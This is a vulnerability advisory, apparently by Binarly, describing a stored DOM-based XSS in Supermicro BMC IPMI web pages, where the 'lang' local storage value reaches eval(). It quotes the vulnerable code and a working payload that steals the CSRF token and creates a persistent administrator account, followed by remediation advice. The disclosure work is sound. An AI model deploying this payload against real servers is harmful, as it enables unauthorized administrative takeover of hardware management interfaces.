An attacker could exploit this vulnerability to create an account with administrative privileges to the web server component of BMC IPMI software. Such account provides full access to these settings: System Information, Chassis Locator Control, FRU Reading, Sensor Readings, Event Log, Alert, LDAP, Mouse Mode, Network, SMTP, SSL, Users, Event Action, Power Control, KVM, F/W Update, Logout. It also allows exploitation of vulnerabilities that require authentication. Successful exploitation of this vulnerability provides an attacker with persistence, allowing malicious code to be executed until the victim takes remedial actions.
Binarly REsearch Team has discovered a stored DOM-based cross-site scripting (XSS) vulnerability in the man_ikvm_html5_bootstrap
and man_ikvm_html5_bootstrap_vm
webpages that uses lang
local storage item, included in the web server component of Supermicro BMC IPMI firmware, allowing a possible attacker to gain access to an account with administrator privileges.
An attacker could exploit this vulnerability to create an account with administrative privileges to the web server component of BMC IPMI software. Such account provides full acess to these settings: System Information, Chassis Locator Control, FRU Reading, Sensor Readings, Event Log, Alert, LDAP, Mouse Mode, Network, SMTP, SSL, Users, Event Action, Power Control, KVM, F/W Update, Logout. It also allows exploitation of vulnerabilities that require authentication. Successful exploitation of this vulnerability provides an attacker with persistence, allowing malicious code to be executed until the victim takes remedial actions.
man_ikvm_html5_bootstrap
and man_ikvm_html5_bootstrap_vm
webserver HTML pages load nav_ui.js
script, which passes the value of lang
local storage item to the eval()
JavaScript function without any sanitization:
...
var sel = WebUtil.readSetting("lang", "en");
...
change_ui_lang(sel);
...
WebUtil.readSetting = function (name, defaultValue) {
"use strict";
var value;
if (window.chrome && window.chrome.storage) {
value = WebUtil.settings[name];
} else {
value = localStorage.getItem(name);
}
if (typeof value === "undefined") {
value = null;
}
if (value === null && typeof defaultValue !== undefined) {
return defaultValue;
} else {
return value;
}
};
function change_ui_lang(v) {
...
var lang = eval(v + "_lang");
...
As a result, arbitrary JavaScript code can be injected into webpages, which will be executed on behalf of the authenticated user.
The first step to exploit this vulnerability is to poison the user's language
session cookie. This can be achieved using another vulnerability in the web server (with XSS, HTTP header injection, etc.), as well as through exploitation of other system components, for example, with a malware.
To create an administrator account with username BRLY
and password BRLYBRLY
an attacker can poison the lang
local storage item of an authenticated user session with administrative privileges with the following payload:
var csrfRegex=/CSRF_TOKEN", "([^"]*?)"/g;var csrfMatch=csrfRegex.exec(document.body.innerHTML);var csrf=csrfMatch[1];fetch("/cgi/op.cgi",{method:"POST",headers:{"Csrf_token":csrf},body:"op=config_user&username=BRLY&original_username=2&password=BRLYBRLY&new_privilege=4&_="});'
This payload first obtains the user's CSRF token and then uses it to make a POST
request in order to create a user with administrative privileges and credentials defined by the attacker.
NOTE: The payload will be executed every time the victim visits vulnerable pages while the lang
local storage item value is poisoned, even after logging in again, making this attack persistent. To terminate the exploitation, additional steps are required to clear the element local storage value.
Ideally, user controlled inputs should not be passed to dangerous JavaScript functions such as eval()
. If it is not possible in such case, the lang
local storage item value must be checked against a whitelist of allowed values.
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
Binarly REsearch Team